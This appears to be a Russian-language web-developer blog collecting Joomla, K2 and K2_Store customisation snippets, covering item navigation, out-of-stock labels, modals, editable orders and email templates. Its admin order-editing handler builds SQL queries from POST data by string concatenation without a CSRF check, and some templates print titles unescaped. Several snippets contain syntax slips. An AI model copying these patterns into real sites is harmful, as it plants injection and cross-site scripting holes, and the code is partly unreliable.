$item->previousLink = urldecode(JRoute::_(K2HelperRoute::getItemRoute($previousItem->id.':'.urlencode($previousItem->alias), $previousItem->catid.':'.urlencode($item->category->alias))));
$item->previousTitle = $previousItem->title;
$date = JFactory::getDate($item->modified);
$timestamp = '?t='.$date->toUnix();
if (JFile::exists(JPATH_SITE.DS.'media'.DS.'k2'.DS.'items'.DS.'cache'.DS.md5("Image".$previousItem->id).'_XS.jpg'))
{
$item->previousImageXSmall = JURI::base(true).'/media/k2/items/cache/'.md5("Image".$previousItem->id).'_XS.jpg'.$timestamp;
}
if (JFile::exists(JPATH_SITE.DS.'media'.DS.'k2'.DS.'items'.DS.'cache'.DS.md5("Image".$previousItem->id).'_S.jpg'))
{
$item->previousImageSmall = JURI::base(true).'/media/k2/items/cache/'.md5("Image".$previousItem->id).'_S.jpg'.$timestamp;
}
if (JFile::exists(JPATH_SITE.DS.'media'.DS.'k2'.DS.'items'.DS.'cache'.DS.md5("Image".$previousItem->id).'_M.jpg'))
{
$item->previousImageMedium = JURI::base(true).'/media/k2/items/cache/'.md5("Image".$previousItem->id).'_M.jpg'.$timestamp;
}
if (JFile::exists(JPATH_SITE.DS.'media'.DS.'k2'.DS.'items'.DS.'cache'.DS.md5("Image".$previousItem->id).'_L.jpg'))
{
$item->previousImageLarge = JURI::base(true).'/media/k2/items/cache/'.md5("Image".$previousItem->id).'_L.jpg'.$timestamp;
}
{
$item->previousImageXLarge = JURI::base(true).'/media/k2/items/cache/'.md5("Image".$previousItem->id).'_XL.jpg'.$timestamp;
}
if (JFile::exists(JPATH_SITE.DS.'media'.DS.'k2'.DS.'items'.DS.'cache'.DS.md5("Image".$previousItem->id).'_Generic.jpg'))
{
$item->previousImageGeneric = JURI::base(true).'/media/k2/items/cache/'.md5("Image".$previousItem->id).'_Generic.jpg'.$timestamp;
}
}

//+1
if (!is_null($previousItem))
{
$previousItem_p1 = $model->getPreviousItem($previousItem->id, $previousItem->catid, $item->ordering);
if (!is_null($previousItem_p1))
{
$item->previousLink_p1 = urldecode(JRoute::_(K2HelperRoute::getItemRoute($previousItem_p1->id.':'.urlencode($previousItem_p1->alias), $previousItem->catid.':'.urlencode($item->category->alias))));
$item->previousTitle_p1 = $previousItem_p1->title;
$date = JFactory::getDate($item->modified);
$timestamp = '?t='.$date->toUnix();
if (JFile::exists(JPATH_SITE.DS.'media'.DS.'k2'.DS.'items'.DS.'cache'.DS.md5("Image".$previousItem_p1->id).'_XS.jpg'))
{
$item->previousImageXSmall_p1 = JURI::base(true).'/media/k2/items/cache/'.md5("Image".$previousItem_p1->id).'_XS.jpg'.$timestamp;
}
if (JFile::exists(JPATH_SITE.DS.'media'.DS.'k2'.DS.'items'.DS.'cache'.DS.md5("Image".$previousItem_p1->id).'_S.jpg'))
{
$item->previousImageSmall_p1 = JURI::base(true).'/media/k2/items/cache/'.md5("Image".$previousItem_p1->id).'_S.jpg'.$timestamp;
}
if (JFile::exists(JPATH_SITE.DS.'media'.DS.'k2'.DS.'items'.DS.'cache'.DS.md5("Image".$previousItem_p1->id).'_M.jpg'))
{
$item->previousImageMedium_p1 = JURI::base(true).'/media/k2/items/cache/'.md5("Image".$previousItem_p1->id).'_M.jpg'.$timestamp;
}
if (JFile::exists(JPATH_SITE.DS.'media'.DS.'k2'.DS.'items'.DS.'cache'.DS.md5("Image".$previousItem_p1->id).'_L.jpg'))
{
$item->previousImageLarge_p1 = JURI::base(true).'/media/k2/items/cache/'.md5("Image".$previousItem_p1->id).'_L.jpg'.$timestamp;
}
if (JFile::exists(JPATH_SITE.DS.'media'.DS.'k2'.DS.'items'.DS.'cache'.DS.md5("Image".$previousItem_p1->id).'_XL.jpg'))
{
$item->previousImageXLarge_p1 = JURI::base(true).'/media/k2/items/cache/'.md5("Image".$previousItem_p1->id).'_XL.jpg'.$timestamp;
}
if (JFile::exists(JPATH_SITE.DS.'media'.DS.'k2'.DS.'items'.DS.'cache'.DS.md5("Image".$previousItem_p1->id).'_Generic.jpg'))
{
$item->previousImageGeneric_p1 = JURI::base(true).'/media/k2/items/cache/'.md5("Image".$previousItem_p1->id).'_Generic.jpg'.$timestamp;
}
}
}
 

2.Редактируем шаблон

public_html/components/com_k2/templates/default/item.php

В данном примере выводим список с названием и фотографией. заменяем блок <!-- Item navigation -->

<!-- Item navigation -->
<div class="itemNavigation">
<h3 class="itemNavigationTitle"><?php echo JText::_('K2_MORE_IN_THIS_CATEGORY'); ?></h3>
<ul style="padding-left: 0px;display: flex;">
<?php if(isset($this->item->previousLink)): ?>
<li class="even">
<div id="itemRelTitle">
<a class="itemRelTitle" href="/<?php echo $this->item->previousLink; ?>"><?php echo $this->item->previousTitle; ?></a>
</div>
<a class="itemRelTitle" href="/<?php echo $this->item->previousLink; ?>">
<img style="width:100px;height:auto;" class="itemRelImg" src="/<?php echo $this->item->previousImageMedium; ?>" alt="">
</a>
</li>
<?php endif; ?>
<?php if(isset($this->item->previousLink_p1)): ?>
<li class="even">
<div id="itemRelTitle">
<a class="itemRelTitle" href="/<?php echo $this->item->previousLink_p1; ?>"><?php echo $this->item->previousTitle_p1; ?></a>
</div>
<a class="itemRelTitle" href="/<?php echo $this->item->previousLink_p1; ?>">
<img style="width:100px;height:auto;" class="itemRelImg" src="/<?php echo $this->item->previousImageMedium_p1; ?>" alt="">
</a>
</li>
<?php endif; ?>
<?php if(isset($this->item->nextLink)): ?>
<li class="odd">
<div id="itemRelTitle">
<a class="itemRelTitle" href="/<?php echo $this->item->nextLink; ?>"><?php echo $this->item->nextTitle; ?></a>
</div>
<a class="itemRelTitle" href="/<?php echo $this->item->nextLink; ?>">
<img style="width:100px;height:auto;" class="itemRelImg" src="/<?php echo $this->item->nextImageMedium; ?>" alt="">
</a>
</li>
<?php endif; ?>
<?php if(isset($this->item->nextLink_p1)): ?>
<li class="odd">
<div id="itemRelTitle">
<a class="itemRelTitle" href="/<?php echo $this->item->nextLink_p1; ?>"><?php echo $this->item->nextTitle_p1; ?></a>
</div>
<a class="itemRelTitle" href="/<?php echo $this->item->nextLink_p1; ?>">
<img style="width:100px;height:auto;" class="itemRelImg" src="/<?php echo $this->item->nextImageMedium_p1; ?>" alt="">
</a>
</li>
<?php endif; ?>
</ul>
</div>

Результат :

Как сделать "Нет на складе" в k2_store

Если вы используете бесплатный компонент k2_store, то у вас выключены купоны и менеджмент товаров.

Если вам необходимо на сайте товар, который отсутствует на складе, не прятать, а вывести сообщение "нет в наличии", тогда можно сделать следующие:

1.Добавить новую колонку в таблице #__k2_items (добавляем в эту таблицу, т.к. опрос в таблицах k2_store строго регламентирован)

ALTER TABLE `Yoo_k2_items` ADD `is_empty` INT(1) NOT NULL DEFAULT '0';

2.Необходимо открыть файлы опций k2_store

com_k2store/mycart/addtocart.php

Редактируем код:

<!-- Add to cart button -->
<?php if($inventoryCheck->can_allow || $inventoryCheck->backorder):?>
<div id='add_to_cart_<?php echo $item->product_id; ?>' class="k2store_add_to_cart">
<input type="hidden" id="k2store_product_id" name="product_id" value="<?php echo $item->product_id; ?>" />
<?php echo JHTML::_( 'form.token' ); ?>
<input type="hidden" name="return" value="<?php echo base64_encode( JUri::getInstance()->toString() ); ?>" />
<input value="<?php echo $cart_text; ?>" type="submit" class="k2store_cart_button btn btn-primary" />
</div>
<?php else: ?>
<div class="k2store_no_stock">
<input value="<?php echo JText::_('K2STORE_OUT_OF_STOCK'); ?>" type="button" class="k2store_cart_button k2store_button_no_stock btn btn-warning" />
</div>
<?php endif; ?>

Заменяем нашими значения, в этом блоке можно разместить не просто текст "Нет в наличии", но и добавить кнопку заказать(форма обратной связи)

<!-- Add to cart button -->
<?php
if($item->is_empty == 0):?>
<div id='add_to_cart_<?php echo $item->product_id; ?>' class="k2store_add_to_cart">
<input type="hidden" id="k2store_product_id" name="product_id" value="<?php echo $item->product_id; ?>" />
<?php echo JHTML::_( 'form.token' ); ?>
<input type="hidden" name="return" value="<?php echo base64_encode( JUri::getInstance()->toString() ); ?>" />
<input value="<?php echo $cart_text; ?>" type="submit" class="k2store_cart_button btn btn-primary" />
<a id="callme_order_btn_<?php echo $item->id;?>" class="callme_order_btn" data-product="<?php echo $item->title.' URL: '.JURI::base().$item->alias; ?>">Купить в 1 клик</a>
</div>
<?php else: ?>
<div class="k2store_no_stock">
<p style="font-size: 18px;font-weight: bold;"><?php echo JText::_('Нет в наличии'); ?></p>
<a style="width: 240px;" id="callme_order_btn_<?php echo $item->id;?>" class="callme_order_btn" data-product="Нет в наличии: <?php echo $item->title.' URL: '.JURI::base().$item->alias; ?>">Заказать</a>
</div>
<?php endif; ?>

3.Делаем функционал для смены статуса. Данный функционал реализован к компоненте Экспорт Яндекс маркет

Вкладки своими руками в Joomla

Для создания вкладок, можно использовать стандартный функционал Joomla 3x

Необходимо создать структуру такого вида:

<ul class="nav nav-tabs" id="myTabTabs" >
<li class="active"><a href="#gtab1" data-toggle="tab">Вкладка 1</a></li>
<li class=""><a href="#gtab2" data-toggle="tab">Вкладка 2</a></li>
<li class=""><a href="#gtab3" data-toggle="tab">Вкладка 3</a></li>
</ul>
<div class="tab-content" id="myTabContent" style="padding: 7px;">
<div id="gtab1" class="tab-pane active">текст</div>
<div id="gtab2" class="tab-pane ">текст</div>
<div id="gtab3" class="tab-pane ">текст</div>
</div>

Если на странице будет несколько вкладок, то должны отличаться ID у ul и div 

 Пример:

текст1
текст2
текст3

 

На строне сата возможно потребуется подключить скрипт


Собственное модальное окно с использованием библиотек К2

Если у вас установлен компонент К2, можно использовать его библиотеки  для создания собственного модального(всплывающего) окна с любым контентом.

Для работы необходимы css файл и скрипты(они возможно уже подключены):

$document->addStyleSheet('/media/system/css/modal.css');
$document->addScript('/media/jui/js/bootstrap.min.js');
$document->addScript('/media/system/js/modal.js');

Добавить скрипты инициализации:

<script> 
jQuery('document').ready(function(){
jQuery('#modal').modal("false");
});
function change_img(imgs) {
document.getElementById('modal_img').src=imgs;
}
</script>

Рассмотрим на примере - необходимо вызывать модальное окно для просмотра назначенного изображения материала К2. Нам необходимо добавить функцию обновления ссылки на изображение по щелчку:

<script>
function change_img(imgs) {
document.getElementById('modal_img').src=imgs;
}
</script>

Создаем блок со скрытым модальным окном:

<div id="modal" class="modal hide fade" class="modal hide fade in" style="display: none;" aria-hidden="false">
<div class="modal-header" style="min-height: 21px;">
<button type="button" class="close" data-dismiss="modal" aria-hidden="true">×</button>
</div>
<div class="modal-body" style="min-height:300px;text-align:center!important;">
<img id="modal_img" style="max-width:1100px;max-height: 400px;" src="/">
</div>
</div>

Стили можно менять в файл /media/system/css/modal.css , либо назначить принудительно, как в примере.

Вызов формируется так:

<a href="#modal" onclick="change_img('/media/k2/items/cache/<?php echo md5("Image".$item->id);?>_XL.jpg')" role="button"data-toggle="modal">Click Me</a>

Пример :

Click Me

K2_Store редактируемые заказы покупателей

Для проекта потребовалось редактировать сумму заказа после размещения в корзине - предоставление скидок, без выдачи купонов.

Количество и сумма хранятся в БД:

#_k2store_orders  - Общая информация о заказе и клиенте
#_k2store_orderitems - Состав заказа, сумма за единицу и кол-во

Нам необходимо на форме с деталями заказа разместить элементы редактирования и сделать процедуру сохранения изменений в двух таблицах.

Открываем файл

administrator/components/com_k2store/views/orders/tmpl/view.php

Обновляем строку с кол-вом, заменить

<?php echo $item->orderitem_quantity; ?>

На это

<input type="number" min="0" max="999" id="quant-<?php echo $item->orderitem_id;?>" style="width: 80px;border: 0;" value="<?php echo $item->orderitem_quantity; ?>" onchange="document.getElementById('div-<?php echo $item->orderitem_id;?>').style.display='';document.getElementById('quant-<?php echo $item->orderitem_id;?>').style.backgroundColor='#FFA9A9';">

И размещаем элемент с кнопкой "Сохранить":

<div style="display:none;position: relative;float: right;top: 8px;" id="div-<?php echo $item->orderitem_id;?>" >
 <a style="top: -4px;position: relative;" href="#" class="btn_ex_save" id="exs-<?php echo $item->orderitem_id;?>">
 <img src="/images/save.gif" />
</a>
</div>

Картинку можно взять с этого материала:

 Добавляем скрипт, который отслеживает нажатие кнопки:

 

<script> 
//изменить кол-во
jQuery("body").on("click", ".btn_ex_save", function(e) {
e.preventDefault();
//ищем ID в БД
var clickedID = this.id.split("-");
var DbNumberID = clickedID[1];
//данные для отправки POST запросом
var myData = 'recordToEx='+DbNumberID+'&quant='+document.getElementById('quant-'+DbNumberID).value+'&order=<?php echo $invoice_number;?>';
jQuery.ajax({
type: "POST",
url: "index.php?option=com_k2store&view=orders&task=view&id=<?php echo $invoice_number;?>",//ссылка на текущую страницу
dataType:"text",
data:myData,
success:function(response){
document.getElementById('div-'+DbNumberID).style.display = 'none';
document.getElementById('quant-'+DbNumberID).style.backgroundColor = 'white';
var mas = response.split(';;');
jQuery('#summ-'+DbNumberID).html(mas[0]);
jQuery('#sum-'+DbNumberID).html(mas[0]);
jQuery('#sub_summ').html(mas[1]);
jQuery('#total_summ').html(mas[1]);
},
error:function (xhr, ajaxOptions, thrownError){alert(thrownError);}
});
});
</script>

Далее размещаем обработку POST запроса, для этого редактируем страницу(необходима первая в очереди на загрузку):

administrator/components/com_k2store/views/orders/view.html.php

Добавляем обработку запроса:

if(isset($_POST["recordToEx"])){
$idToUpd = str_replace('-','',filter_var($_POST["recordToEx"],FILTER_SANITIZE_NUMBER_INT));
if (isset($_POST["quant"])) $quant = filter_var($_POST["quant"],FILTER_SANITIZE_STRING); else $quant='';
if (isset($_POST["order"]))$order = filter_var($_POST["order"],FILTER_SANITIZE_STRING); else $order='';
//обновляем кол-во
if (trim($quant) != '' and trim($order) != '')
{
$db = JFactory::getDbo();
$query =htmlspecialchars("update #__k2store_orderitems set orderitem_quantity ='".$quant."' where orderitem_id='".$idToUpd."'");
$db->setQuery($query);
if(!$db->query())
{
header('HTTP/1.1 500 '.JText::_("Ошибка ID = '".$idToUpd."' '".$db->stderr()));
exit();
}
}
//выводим сумму позиции после обновления
$query =htmlspecialchars("update #__k2store_orderitems set orderitem_final_price = (orderitem_price+ orderitem_attributes_price)*orderitem_quantity where orderitem_id='".$idToUpd."'");
$db->setQuery($query);
if(!$db->query())
{
header('HTTP/1.1 500 '.JText::_("Ошибка ID = '".$idToUpd."' '".$db->stderr()));
exit();
}
$query =htmlspecialchars("(select ROUND(sum(orderitem_final_price)) as total_summ,(select ROUND(orderitem_final_price) from #__k2store_orderitems where orderitem_id='".$idToUpd."') as summ_item from #__k2store_orderitems where order_id = (select order_id from #__k2store_orderitems where orderitem_id='".$idToUpd."'))");
$db->setQuery($query);
$res = $db->loadObject();
echo str_replace('.00000','.00 руб.',$res->summ_item).';;'.str_replace('.00000','.00 руб.',$res->total_summ);

//подсчитываем сумму общего заказа
$query =htmlspecialchars("update #__k2store_orders set is_editing='1',orderpayment_amount ='".$res->total_summ."',order_total ='".$res->total_summ."',order_subtotal ='".$res->total_summ."' where id ='".$order."'");
$db->setQuery($query);
if(!$db->query())
{
header('HTTP/1.1 500 '.JText::_("Ошибка ID = '".$idToUpd."' '".$db->stderr()));
exit();
}
exit();
}

После выполнения запроса на форме обновиться сумму единицы и общая сумма заказа.

Также запрос оставляет пометку о том. что было ручное редактирование, для этого необходимо добавить поле в таблицу 

ALTERTABLE #__k2store_orders ADDCOLUMN is_editing int(1) AFTER #__k2store_orders;

Обработку этого значения разместим в файле с общим списком заказов, редактируем файл:

administrator/components/com_k2store/views/orders/tmpl/default.php

Заменить текст:

<td>
<span class="editlinktip hasTip" title="<?php echo JText::_( 'K2STORE_ORDER_VIEW' );?>::<?php echo $this->escape($row->order_id); ?>">

На

<td <?php if ($row->is_editing == 1) echo 'style="background-color: #FFFFC9;"'?>>
<span class="editlinktip hasTip" title="<?php echo JText::_( 'K2STORE_ORDER_VIEW' );?>::<?php echo $this->escape($row->order_id); ?>">

Таким же образом можно редактировать стоимость позиции и стоимость опций, добавить скидку(изменение стоимости позиции и опции на определенный процент).

Результат:

Как вписать Ajax запрос в модель MVC Joomla?

Столкнулся с проблемой, когда для выполнения Ajax запроса необходимо открывать php страницу, но если страница не прописана в MVC модели компонента Joomla, то ее вызов блокируется безопасностью.

Выход из ситуации - записать обработку POST и GET запросов на странице заголовков view.html.php (/administrator-site/view/<Наименование>/)

На примере задачи : На форме расположен input, необходимо разместить кнопку, которая обновит запись в БД, по результату спрятать элементы .

 

Реализация Script на основной странице:

<script> 
jQuery("body").on("click", ".btn_ex_save", function(e) {
e.preventDefault();
//ищем ID в БД
var clickedID = this.id.split("-");
var DbNumberID = clickedID[1];
//данные для отправки POST запросом
var myData = 'recordToEx='+DbNumberID+'&recordSTR='+document.getElementById('quant-'+DbNumberID).value;
jQuery.ajax({
type: "POST",
url: "index.php?option=op1&view=v1",//ссылка на текущую страницу
dataType:"text",
data:myData,
success:function(response){
document.getElementById('div-'+DbNumberID).style.display= "none";},
error:function (xhr, ajaxOptions, thrownError){alert(thrownError);}
});
});
});
</script>

Реализация HTML на основной странице:

<input type="number" min="0" max="999" id="quant-<?php echo $item->id;?>" style="width: 104px;" value="<?php echo $item->orderitem_quantity; ?>" onchange="document.getElementById('div-<?php echo $item->id;?>').style.display='';document.getElementById('quant-<?php echo $item->id;?>').style.backgroundColor='#FFA9A9';">
<div style="display:none;position: relative;float: right;top: 8px;" id="div-<?php echo $item->id;?>" >
<a style="top: -4px;position: relative;" href="#" class="btn_ex_save" id="exs-<?php echo $item->id;?>">
<img src="/images/save.gif" />
</a>
</div>

Реализация обработки запроса на странице заголовков  view.html.php:

if(isset($_POST["recordToEx"])){
$idToUpd = str_replace('-','',filter_var($_POST["recordToEx"],FILTER_SANITIZE_NUMBER_INT));
$ex = str_replace($idToUpd.'-','',filter_var($_POST["recordSTR"],FILTER_SANITIZE_STRING));
if (trim($ex) != '')
         {   $ex = $ex.'|';
              $query =htmlspecialchars("update #__table set txt ='".$ex."' where id='".$idToUpd."'");
              $db->setQuery($query);
              if(!$db->query())
                    {
                         header('HTTP/1.1 500 '.JText::_('Ошибка ID = '.$idToUpd.' '.$db->stderr()));
                         exit();
                    }
         }
exit();
}

Как найти скрытые ссылки на своем сайте

Не качайте компоненты и модули с пиратских сайтов, в них с большой вероятностью расположен дополнительный код, часто рекламные ссылки.

Как их можно найти:

1.Обязательно проверьте все файлы на наличие этой функции base64_decode

Если параметр в функцию передается строкой, длина которой больше 10 символов, скорее всего там либо копирайт, либо спрятана реклама

2.Если не нашли ничего подозрительного, то можно посмотреть на страницу через сайт переводчик, в этом случае отоброзиться все скрытые ссылки.

Можно воспользоваться сайтом проверки ошибок яндекса https://webmaster.yandex.ru/spellcheck.xml

 

WidgetKit и стандартный поиск Joomla3

Столкнулся с проблемой вывода результата поиска,при использовании модуля WidgetKit - модуль отображается в результате.

Для исправления необходимо парсить результат - удалить модуль из поиска.

Для этого необходимо редактировать файл

components/com_search/views/search/tmpl/default_results.php

В примере убираем все, кроме текста:

<?php
defined('_JEXEC') or die;?>
<dl class="search-results<?php echo $this->pageclass_sfx; ?>">
<?php foreach ($this->results as $result) : ?>
<dt class="result-title">
<?php echo $this->pagination->limitstart + $result->count . '. ';?>
<?php if ($result->href) :?>
<a href="/<?php echo JRoute::_($result->href); ?>"<?php if ($result->browsernav == 1) :?> target="_blank"<?php endif;?>>
<?php echo $this->escape($result->title);?>
</a>
<?php else:?>
<?php echo $this->escape($result->title);?>
<?php endif; ?>
</dt>
<?php if ($result->section) : ?>
<dd class="result-category">
<span class="small<?php echo $this->pageclass_sfx; ?>">
(<?php echo $this->escape($result->section); ?>)
</span>
</dd>
<?php endif; ?>
<dd class="result-text">
<?php echo strip_tags($result->text); ?>
</dd>
<?php if ($this->params->get('show_date')) : ?>
<dd class="result-created<?php echo $this->pageclass_sfx; ?>">
<?php echo JText::sprintf('JGLOBAL_CREATED_DATE_ON', $result->created); ?>
</dd>
<?php endif; ?>
<?php endforeach; ?>
</dl><div class="pagination">
<?php echo $this->pagination->getPagesLinks(); ?>
</div>

K2 store Дорабатываем отправку писем покупателю - письмо о изменении статуса заказа

Компонент k2_Store в стандартной комплектации, при изменении статуса заказа, отправляет один и тот же шаблон покупателю(полный текст заказа- товар, оплата, контакты и тд.)

Появилась необходимость отправлять покупателю письмо с информацией о смене статуса заказа, без подробного отчета о покупке.

Для корректировки этого процесса необходимо внести изменения в файл

/components/com_k2store/helpers/orders.php

Необходимо продублировать функцию "public static function sendUserEmail", но с новыми параметрами, назовем ее "sendUserEmailNotyfy"

public static function sendUserEmailNotyfy($user_id, $order_id, $payment_status, $order_status, $order_state_id)
{
$mainframe =JFactory::getApplication();
jimport('joomla.filesystem.file');
// grab config settings for sender name and email
$config = JFactory::getConfig();
$k2store_params = JComponentHelper::getParams('com_k2store');
$k2params = JComponentHelper::getParams('com_k2');
if(version_compare(JVERSION, '3.0', 'ge')) {
$mailfrom = $k2store_params->get('emails_defaultemail', $config->get('mailfrom'));
$fromname = $k2store_params->get('emails_defaultname', $config->get('fromname'));
} else {
$mailfrom = $k2store_params->get('emails_defaultname', $config->getValue('config.mailfrom'));
$fromname = $k2store_params->get('emails_defaultname', $config->getValue('config.fromname'));
}
$sitename = $k2store_params->get( 'sitename', $mainframe->getCfg('sitename') );
$siteurl = $k2store_params->get( 'siteurl', JURI::root() );
//now get the order table's id based on order id
$id = self::_getOrderKey($order_id);
//inventory
//TODO::move this function to the plugin.
require_once (JPATH_ADMINISTRATOR.'/components/com_k2store/library/inventory.php');
K2StoreInventory::setInventory($id, $order_state_id);
//now get the receipient
$recipient = self::_getRecipient($order_id);
if($user_id && empty($recipient->billing_first_name)) {
$recipient->name = JFactory::getUser($user_id)->name;
} else {
$recipient->name = $recipient->billing_first_name.' '.$recipient->billing_last_name;
}
$mailer =JFactory::getMailer();
$mode = 1;
$subject = 'Статус вашего заказа был изменен на : '.JText::_($order_status);
$tags = array(
'[ORDER_ID]' => $id
);
foreach ($tags as $key => $value)
{
$subject = str_replace($key, $id, $subject);
}
$msg = '';
$msg .= 'Тело письма в формате HTML, формат можно взять из файла components/com_k2store_view/order/orderemail.php';
$admin_emails = trim($k2store_params->get('admin_email')) ;
$admin_emails = explode(',',$admin_emails ) ;
//send email
if ($recipient)
{
$mailer->addRecipient($recipient->user_email);
// $mailer->addCC( $config->get('admin_email'));
//$mailer->addCC( $admin_emails );
$mailer->setSubject( $subject );
$mailer->setBody($msg);
$mailer->IsHTML($mode);
$mailer->setSender(array( $mailfrom, $fromname ));
$mailer->send();
}
//Если не нужно отправлять дубликат администраторам, то удаляем этот пункт
if($admin_emails) {
$mailer =JFactory::getMailer();
$mailer->addRecipient($admin_emails);
$mailer->setSubject( $subject );
$mailer->setBody($msg);
$mailer->IsHTML($mode);
$mailer->setSender(array( $mailfrom, $fromname ));
$mailer->send();
}
return true;
}

 Следующий шаг - меняем вызов шаблона при смене статуса, редактируем файл

/administrator/components/com_k2store/controllers/orders.php

В функции function orderstatesave() меняем строку на: 

if(isset($notify_customer) && $notify_customer == 1) {
require_once(JPATH_SITE.'/components/com_k2store/helpers/orders.php');
K2StoreOrdersHelper::sendUserEmailNotyfy($order->user_id, $order->order_id, $order->transaction_status, $order->order_state, $order->order_state_id);

 

Widgetkit Gallery showcase_box - интеграция галереи на мобильный

Widgetkit отличный модуль, но иногда не хватает обработки устройства вывода - для монитора необходим один размер, для телефона и планшета другой.

Пока выход только один - доделывать стили.

В данной статье мы изменим галерею со стилем "showcase_box", добавим обработку размера изображения в зависимости от устройства.

Необходимо скачать библиотеку определения мобильных устройств Mobile-Detect

Далее необходимо открыть файл:

 public_html/media/widgetkit/widgets/gallery/styles/showcase_box

Добавить вызов библиотеки :

require_once 'md/Mobile_Detect.php';
$detect = new Mobile_Detect;

И вставить обработчик размера(размер на ваше усмотрение):

<?php 
if ( $detect->isMobile()) { $settings['width']='340';$settings['height']='270';};
if (count($images)) : ?>
<div id="gallery-<?php echo $widget_id; ?>" class="wk-gallery-showcasebox" data-widgetkit="showcase" data-options='<?php echo json_encode($settings); ?>'>

K2 Store - шаблон письма покупателю

Для изменения письма покупателю, необходимо открыть файл

components/com_k2store/views/orders/tmpl/orderemail.php

В данном файле находится шаблон письма, предлагаю такой вариант - дополнительно указаны: лого, телефон, ссылки на страницы, изменена подпись, более читаема таблица, контактные данные разбиты по типу.

В шапке документа добавляем короткое меню, лого и телефон:

?>
<div style="border-top: 1px dotted black;display: inline-block;line-height: 35px;">
<div style="background-color: #FFCE6E;color: #C0ECFF;">
<span style="margin-left: 30px;"><a style="text-decoration: none;" href="/url">Наш каталог</a></span>
<span style="margin-left: 30px;"><a style="text-decoration: none;" href="/url">Контакты</a></span>
<span style="margin-left: 30px;"><a style="text-decoration: none;" href="/url">Оплата и доставка</a></span>
<span style="margin-left: 30px;"><a style="text-decoration: none;" href="/url">Вопрос-ответ</a></span>
</div>
<div><a href="/url"><img src="http://site/images/logos.png" style="margin-right: 200px;"></a><div style="float:right;color:#FF8811;margin-top: 18px;margin-right: 27px;">Тел:+</div>
<div class="k2store_ordermail_header" style="border-top: 1px dotted black;">
<?php
echo 'Здравствуйте! '.$recipient_name.'<br> Мы благодарим вас за размещение заказа на сайте '.$this->sitename.'</span>';
echo '<br>Ваш заказ принят в обработку. В ближайшее время с Вами свяжется наш менеджер для подтверждения заказа.'; ?>
</div>
<div id="k2store_order_info">

Далее немного доработаем вывод информации -адрес, телефон, почта и тд, в стандартном шаблоне все выводится в одну строку, мы же разабъем на типы

<td valign="top"><strong><?php echo JText::_("K2STORE_BILLING_ADDRESS"); ?> :</strong></td>
echo 'Имя : '.$row->billing_first_name." ".$row->billing_last_name;
echo '<br>Адрес доставки : '.$row->billing_address_1.", ";
//echo '<br>'.$row->billing_city.", ";
//echo '<br>'.$row->billing_zone_name ? $row->billing_zone_name." - " : "";
//echo '<br>'.$row->billing_zip." <br/>";
//echo '<br>'.$row->billing_country_name." <br/> ".JText::_('K2STORE_TELEPHONE').":";
echo '<br>Телефон '.$row->billing_phone_2;
echo '<br>Email : '.$row->user_email;
//echo $row->billing_company ? JText::_('K2STORE_COMPANY_NAME').': '.$row->billing_company."
" : "";
//echo $row->billing_tax_number ? JText::_('K2STORE_TAX_ID').': '.$row->billing_tax_number."
" : "";
echo 'Имя : '.$row->shipping_first_name." ".$row->shipping_last_name." ";
echo '<br>Адрес доставки : '.$row->shipping_address_1.", ";
echo '<br>Адрес доставки : '.$row->shipping_address_2 ? $row->shipping_address_2.", " : " ";
//echo '<br>'.$row->shipping_city.", ";
//echo '<br>'.$row->shipping_zone_name ? $row->shipping_zone_name." - " : "";
//echo '<br>'.$row->shipping_zip." <br/>";
echo '<br>Компания: '.$row->shipping_country_name;
echo '<br>Телефон : '.$row->shipping_phone_1." , ";
echo '<br>Телефон(факс) : '.$row->shipping_phone_2 ? $row->shipping_phone_2.", " : " ";
echo '
'.$row->shipping_company ? JText::_('K2STORE_COMPANY_NAME').': '.$row->shipping_company." " : "";
echo '
'.$row->shipping_tax_number ? JText::_('K2STORE_TAX_ID').': '.$row->shipping_tax_number." " : "";

Немного подправим типы оплаты, (можно использовать языковые константы):


<strong><?php echo JText::_('K2STORE_ORDER_PAYMENT_TYPE'); ?> :</strong> <?php //echo JText::_($row->orderpayment_type); ?><br>

<?php if ($row->orderpayment_type == 'payment_offline') { ?>
<strong>Оплата наличными курьеру/ Доставка по г. Новосибирску</strong>
<?php echo JText::_($row->transaction_details); ?><br>
<?php } ?>

<?php if ($row->orderpayment_type == 'payment_cash') { ?>
<strong>Оплата наличными курьеру/Доставка в отдаленные районы г. Новосибирска - 200 р.</strong>
<?php echo JText::_($row->transaction_details); ?><br>
<?php } ?>
<?php if ($row->orderpayment_type == 'payment_banktransfer') { ?>
<strong>100 % оплата / Доставка в другой город</strong>
<?php echo JText::_($row->transaction_details); ?><br>
<?php } ?>
<?php if ($row->orderpayment_type == 'Офлайн платёж') { ?>
<strong>Оплата наличными курьеру/ Доставка по г. Новосибирску</strong><?php } ?>

В подвале вставим информацию, что не нужно отвечать на это письмо и выделим заливкой:

</div>
<br>
<div style="background-color: #DEDEDE;">Данное сообщение отправлено автоматически, пожалуйста, не отвечайте на него.</div>
<?php if(!$this->isGuest): //show only if the buyer is not a guest. Because a guest cannot access the stored order information ?>
<div class="k2store_ordermail_footer" style="background-color: #C8E5FF;border-top: 1px dotted black;">
<?php echo JText::sprintf('K2STORE_ORDER_PLACED_FOOTER', '<br>'.$this->siteurl.'index.php?option=com_k2store&view=orders&task=view&id='.$row->id); ?>
</div>
<?php else:?>
<div class="k2store_ordermail_footer" style="background-color: #C8E5FF;border-top: 1px dotted black;">
<?php echo JText::sprintf('K2STORE_ORDER_GUEST_TOKEN', '<br>'.$this->siteurl.'index.php?option=com_k2store&view=orders&task=view', $order->token); ?>
</div>
</div>

 

Редактируем корзину K2_Store - добавляем номер заказа на страницу оформления товара

На странице оформления товара, после размещения товара хочется вывести дополнительную информацию.

Компонент формирует ссылку и отправляет письмо, но покупатель хочет получить все и сразу.

Для редактирования этой страницы откройте файл:

com_k2store/checkout/postpayment.php

Далее добавляем необходимую информацию, например номер заказа и текст о магазине в блоке(Номер заказа будет выводиться, только для зарегистрированного пользователя) <div class="note">:

<div class="note">
<p>Номер Вашего заказа - <?php echo substr($order_link,strpos($order_link,'view/')+5);?></p>
<br>
<p>Спасибо за покупку в интернет-магазине «Pooof.ru».</p>
<br>
<p>Менеджер свяжется с вами в ближайшее время.</p>
<br>
<a href="/<?php echo JRoute::_($order_link); ?>">
<?php echo JText::_( "K2STORE_VIEW_PRINT_INVOICE" ); ?>
</a>
</div>

Покупка в 1 клик и автосумма выбранной опции в K2_Store

